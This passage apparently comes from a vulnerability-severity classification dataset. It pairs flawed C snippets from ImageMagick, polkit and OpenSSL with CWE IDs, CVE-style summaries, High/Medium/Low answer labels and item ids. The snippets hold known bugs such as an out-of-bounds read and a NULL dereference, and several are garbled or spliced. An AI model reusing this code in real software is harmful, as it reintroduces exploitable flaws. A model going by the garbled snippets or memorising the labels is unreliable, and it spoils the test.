iris_info.dimension=ReadBlobMSBShort(image); iris_info.columns=ReadBlobMSBShort(image); iris_info.rows=ReadBlobMSBShort(image); iris_info.depth=ReadBlobMSBShort(image); if ((iris_info.depth == 0) || (iris_info.depth > 4)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); iris_info.minimum_value=ReadBlobMSBLong(image); iris_info.maximum_value=ReadBlobMSBLong(image); iris_info.sans=ReadBlobMSBLong(image); (void) ReadBlob(image,sizeof(iris_info.name),(unsigned char *) iris_info.name); iris_info.name[sizeof(iris_info.name)-1]='\0'; if (*iris_info.name != '\0') (void) SetImageProperty(image,"label",iris_info.name,exception); iris_info.pixel_format=ReadBlobMSBLong(image); if (iris_info.pixel_format != 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); count=ReadBlob(image,sizeof(iris_info.filler),iris_info.filler); (void) count; image->columns=iris_info.columns; image->rows=iris_info.rows; image->depth=(size_t) MagickMin(iris_info.depth,MAGICKCORE_QUANTUM_DEPTH); if (iris_info.pixel_format == 0) image->depth=(size_t) MagickMin((size_t) 8*iris_info.bytes_per_pixel, MAGICKCORE_QUANTUM_DEPTH); if (iris_info.depth < 3) { image->storage_class=PseudoClass; image->colors=iris_info.bytes_per_pixel > 1 ? 65535 : 256; } if (EOFBlob(image) != MagickFalse) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0)) if (image->scene >= (image_info->scene+image_info->number_scenes-1)) break; status=SetImageExtent(image,image->columns,image->rows,exception); if (status == MagickFalse) return(DestroyImageList(image)); /* Allocate SGI pixels. */ bytes_per_pixel=(size_t) iris_info.bytes_per_pixel; number_pixels=(MagickSizeType) iris_info.columns*iris_info.rows; if ((4*bytes_per_pixel*number_pixels) != ((MagickSizeType) (size_t) (4*bytes_per_pixel*number_pixels))) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); pixel_info=AcquireVirtualMemory(iris_info.columns,iris_info.rows*4* bytes_per_pixel*sizeof(*pixels)); if (pixel_info == (MemoryInfo *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info); if ((int) iris_info.storage != 0x01) { unsigned char *scanline; /* Read standard image format. */ scanline=(unsigned char *) AcquireQuantumMemory(iris_info.columns, bytes_per_pixel*sizeof(*scanline)); if (scanline == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); for (z=0; z < (ssize_t) iris_info.depth; z++) { p=pixels+bytes_per_pixel*z; for (y=0; y < (ssize_t) iris_info.rows; y++) { count=ReadBlob(image,bytes_per_pixel*iris_info.columns,scanline); if (EOFBlob(image) != MagickFalse) break; if (bytes_per_pixel == 2) for (x=0; x < (ssize_t) iris_info.columns; x++) { *p=scanline[2*x]; *(p+1)=scanline[2*x+1]; p+=8; } else for (x=0; x < (ssize_t) iris_info.columns; x++) { *p=scanline[x]; p+=4; } } } scanline=(unsigned char *) RelinquishMagickMemory(scanline); } else { MemoryInfo *packet_info; size_t *runlength; ssize_t offset, *offsets; unsigned char *packets; unsigned int data_order; /* Read runlength-encoded image format. */ offsets=(ssize_t *) AcquireQuantumMemory((size_t) iris_info.rows, iris_info.depth*sizeof(*offsets)); runlength=(size_t *) AcquireQuantumMemory(iris_info.rows, iris_info.depth*sizeof(*runlength)); packet_info=AcquireVirtualMemory((size_t) iris_info.columns+10UL,4UL* sizeof(*packets)); if ((offsets == (ssize_t *) NULL) || (runlength == (size_t *) NULL) || (packet_info == (MemoryInfo *) NULL)) { if (offsets == (ssize_t *) NULL) offsets=(ssize_t *) RelinquishMagickMemory(offsets); if (runlength == (size_t *) NULL) runlength=(size_t *) RelinquishMagickMemory(runlength); if (packet_info == (MemoryInfo *) NULL) packet_info=RelinquishVirtualMemory(packet_info); ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); } packets=(unsigned char *) GetVirtualMemoryBlob(packet_info); for (i=0; i < (ssize_t) (iris_info.rows*iris_info.depth); i++) offsets[i]=ReadBlobMSBSignedLong(image); for (i=0; i < (ssize_t) (iris_info.rows*iris_info.depth); i++) { runlength[i]=ReadBlobMSBLong(image); if (runlength[i] > (4*(size_t) iris_info.columns+10)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } /* Check data order. */ offset=0; data_order=0; for (y=0; ((y < (ssize_t) iris_info.rows) && (data_order == 0)); y++) for (z=0; ((z < (ssize_t) iris_info.depth) && (data_order == 0)); z++) { if (offsets[y+z*iris_info.rows] < offset) data_order=1; offset=offsets[y+z*iris_info.rows]; } offset=(ssize_t) TellBlob(image); if (data_order == 1) { for (z=0; z < (ssize_t) iris_info.depth; z++) { p=pixels; for (y=0; y < (ssize_t) iris_info.rows; y++) { if (offset != offsets[y+z*iris_info.rows]) { offset=offsets[y+z*iris_info.rows]; offset=(ssize_t) SeekBlob(image,(ssize_t) offset,SEEK_SET); } count=ReadBlob(image,(size_t) runlength[y+z*iris_info.rows], packets); if (EOFBlob(image) != MagickFalse) break; offset+=(ssize_t) runlength[y+z*iris_info.rows]; status=SGIDecode(bytes_per_pixel,(ssize_t) (runlength[y+z*iris_info.rows]/bytes_per_pixel),packets, 1L*iris_info.columns,p+bytes_per_pixel*z); if (status == MagickFalse) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); p+=(iris_info.columns*4*bytes_per_pixel); } } } else { MagickOffsetType position; position=TellBlob(image); p=pixels; for (y=0; y < (ssize_t) iris_info.rows; y++) { for (z=0; z < (ssize_t) iris_info.depth; z++) { if (offset != offsets[y+z*iris_info.rows]) { offset=offsets[y+z*iris_info.rows]; offset=(ssize_t) SeekBlob(image,(ssize_t) offset,SEEK_SET); } count=ReadBlob(image,(size_t) runlength[y+z*iris_info.rows], packets); if (EOFBlob(image) != MagickFalse) break; offset+=(ssize_t) runlength[y+z*iris_info.rows]; status=SGIDecode(bytes_per_pixel,(ssize_t) (runlength[y+z*iris_info.rows]/bytes_per_pixel),packets, 1L*iris_info.columns,p+bytes_per_pixel*z); if (status == MagickFalse) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } p+=(iris_info.columns*4*bytes_per_pixel); } offset=(ssize_t) SeekBlob(image,position,SEEK_SET); } packet_info=RelinquishVirtualMemory(packet_info); runlength=(size_t *) RelinquishMagickMemory(runlength); offsets=(ssize_t *) RelinquishMagickMemory(offsets); } /* Initialize image structure. */ image->alpha_trait=iris_info.depth == 4 ? BlendPixelTrait : UndefinedPixelTrait; image->columns=iris_info.columns; image->rows=iris_info.rows; /* Convert SGI raster image to pixel packets. */ if (image->storage_class == DirectClass) { /* Convert SGI image to DirectClass pixel packets. */ if (bytes_per_pixel == 2) { for (y=0; y < (ssize_t) image->rows; y++) { p=pixels+(image->rows-y-1)*8*image->columns; q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { SetPixelRed(image,ScaleShortToQuantum((unsigned short) ((*(p+0) << 8) | (*(p+1)))),q); SetPixelGreen(image,ScaleShortToQuantum((unsigned short) ((*(p+2) << 8) | (*(p+3)))),q); SetPixelBlue(image,ScaleShortToQuantum((unsigned short) ((*(p+4) << 8) | (*(p+5)))),q); SetPixelAlpha(image,OpaqueAlpha,q); if (image->alpha_trait != UndefinedPixelTrait) SetPixelAlpha(image,ScaleShortToQuantum((unsigned short) ((*(p+6) << 8) | (*(p+7)))),q); p+=8; q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,image->rows); if (status == MagickFalse) break; } } } else for (y=0; y < (ssize_t) image->rows; y++) { p=pixels+(image->rows-y-1)*4*image->columns; q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { SetPixelRed(image,ScaleCharToQuantum(*p),q); SetPixelGreen(image,ScaleCharToQuantum(*(p+1)),q); SetPixelBlue(image,ScaleCharToQuantum(*(p+2)),q); SetPixelAlpha(image,OpaqueAlpha,q); if (image->alpha_trait != UndefinedPixelTrait) SetPixelAlpha(image,ScaleCharToQuantum(*(p+3)),q); p+=4; q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } } } else { /* Create grayscale map. */ if (AcquireImageColormap(image,image->colors,exception) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); /* Convert SGI image to PseudoClass pixel packets. */ if (bytes_per_pixel == 2) { for (y=0; y < (ssize_t) image->rows; y++) { p=pixels+(image->rows-y-1)*8*image->columns; q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { quantum=(*p << 8); quantum|=(*(p+1)); SetPixelIndex(image,(Quantum) quantum,q); p+=8; q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,image->rows); if (status == MagickFalse) break; } } } else for (y=0; y < (ssize_t) image->rows; y++) { p=pixels+(image->rows-y-1)*4*image->columns; q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { SetPixelIndex(image,*p,q); p+=4; q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } } (void) SyncImage(image,exception); } pixel_info=RelinquishVirtualMemory(pixel_info); if (EOFBlob(image) != MagickFalse) { ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); break; } /* Proceed to next image. */ if (image_info->number_scenes != 0) if (image->scene >= (image_info->scene+image_info->number_scenes-1)) break; iris_info.magic=ReadBlobMSBShort(image); if (iris_info.magic == 0x01DA) { /* Allocate next image structure. */ AcquireNextImage(image_info,image,exception); if (GetNextImageInList(image) == (Image *) NULL) { image=DestroyImageList(image); return((Image *) NULL); } image=SyncNextImageInList(image); status=SetImageProgress(image,LoadImagesTag,TellBlob(image), GetBlobSize(image)); if (status == MagickFalse) break; } } while (iris_info.magic == 0x01DA); (void) CloseBlob(image); return(GetFirstImageInList(image)); } Vulnerability Type: DoS CWE ID: CWE-125 Summary: The SGI coder in ImageMagick before 7.0.2-10 allows remote attackers to cause a denial of service (out-of-bounds read) via a large row value in an sgi file. Commit Message: ...
Medium
170,119
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: polkit_backend_session_monitor_get_user_for_subject (PolkitBackendSessionMonitor *monitor, PolkitSubject *subject, GError **error) { PolkitIdentity *ret; guint32 uid; ret = NULL; if (POLKIT_IS_UNIX_PROCESS (subject)) { uid = polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)); if ((gint) uid == -1) { g_set_error (error, POLKIT_ERROR, g_set_error (error, "Unix process subject does not have uid set"); goto out; } ret = polkit_unix_user_new (uid); } else if (POLKIT_IS_SYSTEM_BUS_NAME (subject)) { ret = (PolkitIdentity*)polkit_system_bus_name_get_user_sync (POLKIT_SYSTEM_BUS_NAME (subject), NULL, error); } else if (POLKIT_IS_UNIX_SESSION (subject)) { if (sd_session_get_uid (polkit_unix_session_get_session_id (POLKIT_UNIX_SESSION (subject)), &uid) < 0) { polkit_backend_session_monitor_get_session_for_subject (PolkitBackendSessionMonitor *monitor, PolkitSubject *subject, GError **error) { PolkitUnixProcess *tmp_process = NULL; } ret = polkit_unix_user_new (uid); } out: return ret; } if (!tmp_process) goto out; process = tmp_process; } Vulnerability Type: +Info CWE ID: CWE-200 Summary: A flaw was found in polkit before version 0.116. The implementation of the polkit_backend_interactive_authority_check_authorization function in polkitd allows to test for authentication and trigger authentication of unrelated processes owned by other users. This may result in a local DoS and information disclosure. Commit Message:
Low
165,289
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static int asn1_d2i_ex_primitive(ASN1_VALUE **pval, static int asn1_template_ex_d2i(ASN1_VALUE **pval, const unsigned char **in, long len, const ASN1_TEMPLATE *tt, char opt, ASN1_TLC *ctx); static int asn1_template_noexp_d2i(ASN1_VALUE **val, const unsigned char **in, long len, const ASN1_TEMPLATE *tt, char opt, ASN1_TLC *ctx); static int asn1_d2i_ex_primitive(ASN1_VALUE **pval, const unsigned char **in, long len, const ASN1_ITEM *it, /* tags 4- 7 */ B_ASN1_OCTET_STRING, 0, 0, B_ASN1_UNKNOWN, /* tags 8-11 */ B_ASN1_UNKNOWN, B_ASN1_UNKNOWN, B_ASN1_UNKNOWN, B_ASN1_UNKNOWN, /* tags 12-15 */ B_ASN1_UTF8STRING, B_ASN1_UNKNOWN, B_ASN1_UNKNOWN, B_ASN1_UNKNOWN, /* tags 16-19 */ B_ASN1_SEQUENCE, 0, B_ASN1_NUMERICSTRING, B_ASN1_PRINTABLESTRING, /* tags 20-22 */ B_ASN1_T61STRING, B_ASN1_VIDEOTEXSTRING, B_ASN1_IA5STRING, /* tags 23-24 */ B_ASN1_UTCTIME, B_ASN1_GENERALIZEDTIME, /* tags 25-27 */ B_ASN1_GRAPHICSTRING, B_ASN1_ISO64STRING, B_ASN1_GENERALSTRING, /* tags 28-31 */ B_ASN1_UNIVERSALSTRING, B_ASN1_UNKNOWN, B_ASN1_BMPSTRING, B_ASN1_UNKNOWN, }; unsigned long ASN1_tag2bit(int tag) { Vulnerability Type: DoS CWE ID: CWE-400 Summary: Constructed ASN.1 types with a recursive definition (such as can be found in PKCS7) could eventually exceed the stack given malicious input with excessive recursion. This could result in a Denial Of Service attack. There are no such structures used within SSL/TLS that come from untrusted sources so this is considered safe. Fixed in OpenSSL 1.1.0h (Affected 1.1.0-1.1.0g). Fixed in OpenSSL 1.0.2o (Affected 1.0.2b-1.0.2n). Commit Message:
Medium
165,326
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void ssl3_take_mac(SSL *s) { const char *sender; int slen; if (s->state & SSL_ST_CONNECT) { sender=s->method->ssl3_enc->server_finished_label; sender=s->method->ssl3_enc->client_finished_label; slen=s->method->ssl3_enc->client_finished_label_len; } s->s3->tmp.peer_finish_md_len = s->method->ssl3_enc->final_finish_mac(s, sender,slen,s->s3->tmp.peer_finish_md); } Vulnerability Type: DoS CWE ID: CWE-20 Summary: The ssl3_take_mac function in ssl/s3_both.c in OpenSSL 1.0.1 before 1.0.1f allows remote TLS servers to cause a denial of service (NULL pointer dereference and application crash) via a crafted Next Protocol Negotiation record in a TLS handshake. Commit Message:
Medium
165,360